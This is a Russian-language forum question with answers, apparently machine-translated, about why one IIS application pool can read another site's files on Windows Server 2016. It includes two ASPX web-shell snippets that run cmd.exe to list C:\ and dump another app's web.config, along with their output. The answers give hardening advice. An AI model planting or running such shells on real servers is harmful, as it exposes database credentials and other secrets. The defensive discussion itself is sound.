Проблема изоляции приложений в IIS 10 (Windows 2016 Server)
Я настраиваю новую машину для размещения нескольких приложений asp.net. Моя цель - максимально изолировать приложения. В случае взлома одного из приложений все остальные приложения должны быть в безопасности.
У меня есть конфигурация по умолчанию. Есть каталог a c:\wwwroot. В этом каталоге у меня есть папки \AppA и \AppB, содержащие файлы приложений. Каталог wwwroot имеет разрешения по умолчанию:
Users - read & execute
IIS_IUSRS - read & execute
Оба приложения запускаются при разных опросах приложений в их собственных контекстах безопасности:
IIS AppPool\AppA
IIS AppPoll\AppB
Допустим, кто-то взломал AppA и смог загрузить поддельный файл "dir.aspx":
<%@ Language=c# runat="server"%>
<html>
<body>
<%
System.Diagnostics.Process si = new System.Diagnostics.Process();
si.StartInfo.WorkingDirectory = "c:\\";
si.StartInfo.UseShellExecute = false;
si.StartInfo.FileName = "cmd.exe";
si.StartInfo.Arguments = "/c dir";
si.StartInfo.CreateNoWindow = true;
si.StartInfo.RedirectStandardInput = true;
si.StartInfo.RedirectStandardOutput = true;
si.StartInfo.RedirectStandardError = true;
si.Start();
string output = si.StandardOutput.ReadToEnd();
si.Close();
Response.Write(output);
%>
</body>
</html>
Сюрприз! При конфигурации по умолчанию злоумышленник имеет доступ на чтение к c:\ - output:
<html>
<body>
Volume in drive C is System
Volume Serial Number is ******
Directory of c:\
05.11.2018 14:39 <DIR> PerfLogs
21.12.2018 13:55 <DIR> Program Files
06.11.2018 15:03 <DIR> Program Files (x86)
20.12.2018 10:08 <DIR> Users
11.12.2018 01:33 <DIR> Windows
10.01.2019 19:36 <DIR> wwwroot
0 File(s) 0 bytes
8 Dir(s) 109˙008˙580˙608 bytes free
</body>
</html>
Теперь злоумышленник может легко просматривать файлы на всей машине и может получить доступ к AppB, чтобы прочитать web.config из AppB, предоставив свои учетные данные базы данных и другие конфиденциальные данные:
<%@ Language=c# runat="server"%>
<html>
<body>
<%
System.Diagnostics.Process si = new System.Diagnostics.Process();
si.StartInfo.WorkingDirectory = "c:\\wwwroot\\AppB";
si.StartInfo.UseShellExecute = false;
si.StartInfo.FileName = "cmd.exe";
si.StartInfo.Arguments = "/c type web.config";
si.StartInfo.CreateNoWindow = true;
si.StartInfo.RedirectStandardInput = true;
si.StartInfo.RedirectStandardOutput = true;
si.StartInfo.RedirectStandardError = true;
si.Start();
string output = si.StandardOutput.ReadToEnd();
si.Close();
Response.Write(output);
%>
</body>
</html>
Выход:
<html>
<body>
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<connectionStrings>
<add name="AbbBConnectionString" connectionString="*******" providerName="System.Data.SqlClient" />
</connectionStrings>
<system.web>
<compilation debug="true" targetFramework="4.5.2" />
<httpRuntime targetFramework="4.5.2" />
<customErrors mode="Off"/>
</system.web>
</configuration>
</body>
</html>
Вопрос в том, можно ли настроить разрешения IIS для лучшей изоляции приложений? Почему вышеприведенный сценарий возможен?
2 ответа
Да, это возможно.
Я могу предоставить обзор высокого уровня, но для обеспечения безопасности всей системы вам действительно нужно взглянуть на тесты CIS для IIS и Windows 2016. Эти тесты содержат слишком много параметров, чтобы перечислить их здесь, но сильно блокируют ваш сервер и дают Вы хорошая поза безопасности.
Просто пара вещей, чтобы вы начали, хотя.
- Не помещайте свои сайты на системный диск. Создайте отдельный диск. Это не только для безопасности, но и для предотвращения нехватки места на системном диске, если вы загружаете или генерируете слишком много файлов.
- Удалить AppPool и веб-сайт по умолчанию. Даже не используйте папку по умолчанию wwwroot.
- Вы хорошо начали с создания отдельных AppPools для каждого веб-сайта, но вы можете сделать этот шаг дальше и ограничить доступ к корневой папке каждого веб-сайта к AppPool, на котором работает этот конкретный веб-сайт.
Попробуйте тесты (эти фрагменты, которые я предоставил, включены в тест), а затем снова запустите тест. Из коробки Windows не будет безопасна для этого типа использования (или для многих, если вы действительно к этому).
Вы можете обойти эту проблему, установив права доступа ntfs в папке "applicationB" с полным запретом "IIS AppPool\AppA" и наоборот.